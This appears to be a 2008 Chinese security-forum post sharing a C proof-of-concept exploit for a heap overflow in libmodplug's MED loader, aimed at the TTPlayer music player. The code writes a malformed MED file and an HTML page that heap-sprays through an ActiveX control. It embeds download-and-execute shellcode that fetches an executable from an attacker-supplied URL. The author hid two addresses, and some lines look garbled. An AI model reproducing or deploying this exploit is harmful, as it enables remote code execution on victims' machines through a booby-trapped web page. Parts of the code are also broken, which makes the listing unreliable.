- 论坛徽章:
- 0
|
上个月看的洞,昨天晚上又重新翻看了一下这个洞,终于看到了成功利用的可能性。\r\n远程和本地攻击最后都可以,本地攻击成功比较低一些,头疼。\r\n详细的利用代码不贴了,详细可以看看 libmod 的源码\r\n\r\n下面是远程部分 poc, 2个关键 DWORD 值隐藏了. \r\n\r\n代码:\r\n/*\r\nlibmodplug v0.8\r\n load_med.cpp\r\n BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)\r\n line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);\r\n\r\n千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查\r\n文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。\r\n现在采用libmod 软件很多,都应该存在此问题。\r\n\r\n*/\r\n\r\n/*\r\n author: dummy\r\n e-mail: dummyz@126.com\r\n\r\n date: 2008/02/25\r\n*/\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\n#pragma pack(1)\r\n\r\ntypedef struct tagMEDMODULEHEADER\r\n{\r\n DWORD id; // MMD1-MMD3\r\n DWORD modlen; // Size of file\r\n DWORD song; // Position in file for this song\r\n WORD psecnum;\r\n WORD pseq;\r\n DWORD blockarr; // Position in file for blocks\r\n DWORD mmdflags;\r\n DWORD smplarr; // Position in file for samples\r\n DWORD reserved;\r\n DWORD expdata; // Absolute offset in file for ExpData (0 if not present)\r\n DWORD reserved2;\r\n WORD pstate;\r\n WORD pblock;\r\n WORD pline;\r\n WORD pseqnum;\r\n WORD actplayline;\r\n BYTE counter;\r\n BYTE extra_songs; // # of songs - 1\r\n} MEDMODULEHEADER;\r\n\r\ntypedef struct tagMMD0SAMPLE\r\n{\r\n WORD rep, replen;\r\n BYTE midich;\r\n BYTE midipreset;\r\n BYTE svol;\r\n signed char strans;\r\n} MMD0SAMPLE;\r\n\r\n// MMD0/MMD1 song header\r\ntypedef struct tagMMD0SONGHEADER\r\n{\r\n MMD0SAMPLE sample[63];\r\n WORD numblocks; // # of blocks\r\n WORD songlen; // # of entries used in playseq\r\n BYTE playseq[256]; // Play sequence\r\n WORD deftempo; // BPM tempo\r\n signed char playtransp; // Play transpose\r\n BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song\r\n BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on\r\n BYTE tempo2; // tempo TPL\r\n BYTE trkvol[16]; // track volumes\r\n BYTE mastervol; // master volume\r\n BYTE numsamples; // # of samples (max=63)\r\n} MMD0SONGHEADER;\r\n\r\ntypedef struct tagMMD0EXP\r\n{\r\n DWORD nextmod; // File offset of next Hdr\r\n DWORD exp_smp; // Pointer to extra instrument data\r\n WORD s_ext_entries; // Number of extra instrument entries\r\n WORD s_ext_entrsz; // Size of extra instrument data\r\n DWORD annotxt;\r\n DWORD annolen;\r\n DWORD iinfo; // Instrument names\r\n WORD i_ext_entries; \r\n WORD i_ext_entrsz;\r\n DWORD jumpmask;\r\n DWORD rgbtable;\r\n BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)\r\n DWORD n_info;\r\n DWORD songname; // Song name\r\n DWORD songnamelen;\r\n DWORD dumps;\r\n DWORD mmdinfo;\r\n DWORD mmdrexx;\r\n DWORD mmdcmd3x;\r\n DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists\r\n DWORD effectinfo_ofs; // ptr to group ptrs\r\n DWORD tag_end;\r\n} MMD0EXP;\r\n\r\n#pragma pack()\r\n\r\n// Byte swapping functions from the GNU C Library and libsdl\r\n\r\n/* Swap bytes in 16 bit value. */\r\n#ifdef __GNUC__\r\n# define bswap_16(x) \\\r\n (__extension__ \\\r\n ({ unsigned short int __bsx = (x); \\\r\n ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))\r\n#else\r\nstatic __inline unsigned short int\r\nbswap_16 (unsigned short int __bsx)\r\n{\r\n return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));\r\n}\r\n#endif\r\n\r\n/* Swap bytes in 32 bit value. */\r\n#ifdef __GNUC__\r\n# define bswap_32(x) \\\r\n (__extension__ \\\r\n ({ unsigned int __bsx = (x); \\\r\n ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) | \\\r\n (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))\r\n#else\r\nstatic __inline unsigned int\r\nbswap_32 (unsigned int __bsx)\r\n{\r\n return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |\r\n (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));\r\n}\r\n#endif\r\n\r\n#ifdef WORDS_BIGENDIAN\r\n#define bswapLE16(X) bswap_16(X)\r\n#define bswapLE32(X) bswap_32(X)\r\n#define bswapBE16(X) (X)\r\n#define bswapBE32(X) (X)\r\n#else\r\n#define bswapLE16(X) (X)\r\n#define bswapLE32(X) (X)\r\n#define bswapBE16(X) bswap_16(X)\r\n#define bswapBE32(X) bswap_32(X)\r\n#endif\r\n\r\n#define FILE_SIZE_ 0x30000\r\n// 远程攻击\r\n#if 0\r\n// 成功率很低\r\n#define NOP_ \"\\\"%u090aऊ\\\"\"\r\n#define HEAP_ADDR_ 码\r\n#else\r\n// 成功率很高\r\n#define NOP_ \"\\\"邐邐\\\"\"\r\n#define HEAP_ADDR_ 码\r\n\r\n#endif\r\n\r\nconst unsigned char shellcode[174] =\r\n{\r\n // 必须是偶数大小\r\n 0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A,\r\n 0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F,\r\n 0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1,\r\n 0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C,\r\n 0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41,\r\n 0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03,\r\n 0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B,\r\n 0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC,\r\n 0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB,\r\n 0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00,\r\n 0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90\r\n};\r\n\r\nconst char* script1 = \\\r\n \"<html><body><object id=\\\"ttp\\\" classid=\\\"clsid:89AE5F82-410A-4040-9387-68D1144EFD03\\\"></object><script>\"\r\n \"var sc=unescape(\\\"\";\r\nconst char* script2 = \\\r\n \"\\\");\"\r\n \"fb=unescape(\" NOP_ \");\"\r\n \"while(fb.length<0x30000)fb+=fb;\"\r\n \"m=new Array();\"\r\n \"for(x=0;x<400;x++)m[x]=sc+fb+sc;\"\r\n \"setTimeout(\\\'ttp.URL=\\\"\";\r\nconst char* script3 = \\\r\n \"\\\";ttp.controls.play();\\\', 3);</script>\"\r\n \"</body>\"\r\n \"</html>\";\r\n\r\nvoid make_med_file(const char* path)\r\n{\r\n MEDMODULEHEADER mmh;\r\n MMD0SONGHEADER msh;\r\n MMD0EXP mex;\r\n FILE* file;\r\n long p;\r\n\r\n memset(&mmh, 0, sizeof (mmh));\r\n memset(&msh, 0, sizeof (msh));\r\n memset(&mex, 0, sizeof (mex));\r\n \r\n p = 0;\r\n\r\n mmh.id = 0x30444D4D; // version = \'0\'\r\n\r\n p += sizeof (MEDMODULEHEADER);\r\n mmh.song = bswapBE32(p);\r\n\r\n p += sizeof (MMD0SONGHEADER);\r\n mmh.expdata = bswapBE32(p);\r\n \r\n p += sizeof (MMD0EXP);\r\n mex.annolen = bswapBE32(-1);\r\n mex.annotxt = bswapBE32(p);\r\n \r\n file = fopen(path, \"wb+\");\r\n if ( file == NULL )\r\n {\r\n printf(\"create file failed!\\n\");\r\n exit(0);\r\n }\r\n else\r\n {\r\n fwrite(&mmh, 1, sizeof (mmh), file);\r\n fwrite(&msh, 1, sizeof (msh), file);\r\n fwrite(&mex, 1, sizeof (mex), file);\r\n \r\n while ( ftell(file) < FILE_SIZE_ )\r\n {\r\n fwrite(HEAP_ADDR_, 1, 4, file);\r\n }\r\n \r\n fclose(file);\r\n printf(\"successed!\\n\");\r\n }\r\n}\r\n\r\nvoid make_htlm_file(const char* htmlpath, const char* s3mpath, const char* url)\r\n{\r\n FILE *file = fopen(htmlpath, \"w+\");\r\n if ( file == NULL )\r\n {\r\n printf(\"create \'%s\' failed!\\n\", htmlpath);\r\n exit(0);\r\n }\r\n\r\n fprintf(file, \"%s\", script1);\r\n for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )\r\n fprintf(file, \"%%u%02X%02X\" , shellcode[i + 1], shellcode);\r\n \r\n const unsigned l = strlen(url);\r\n for ( unsigned j = 0; j < l; j += 2 )\r\n fprintf(file, \"%%u%02X%02X\" , url[j + 1], url[j]);\r\n \r\n fprintf(file, \"%s%s%s\", script2, s3mpath, script3);\r\n fclose(file);\r\n \r\n printf(\"make \'%s\' successed!\\n\", htmlpath);\r\n}\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n printf(\"ttplayer stack exp poc by dummyz@126.com\\n\");\r\n if ( argc <= 1 )\r\n {\r\n printf(\"need argv!(ex: %s http://xxx.xxx/xx.exe\\n\", argv[0]);\r\n return -1;\r\n }\r\n \r\n printf(\"+ make_med_file...\\n\");\r\n make_med_file(\"c:\\\\shit.s3m\");\r\n\r\n printf(\"+ make_htlm_file...\\n\");\r\n make_htlm_file(\"poc.html\", \"c://shit.s3m\", argv[1]);\r\n\r\n printf(\"done.\\n\");\r\n\r\n return 0;\r\n} |
|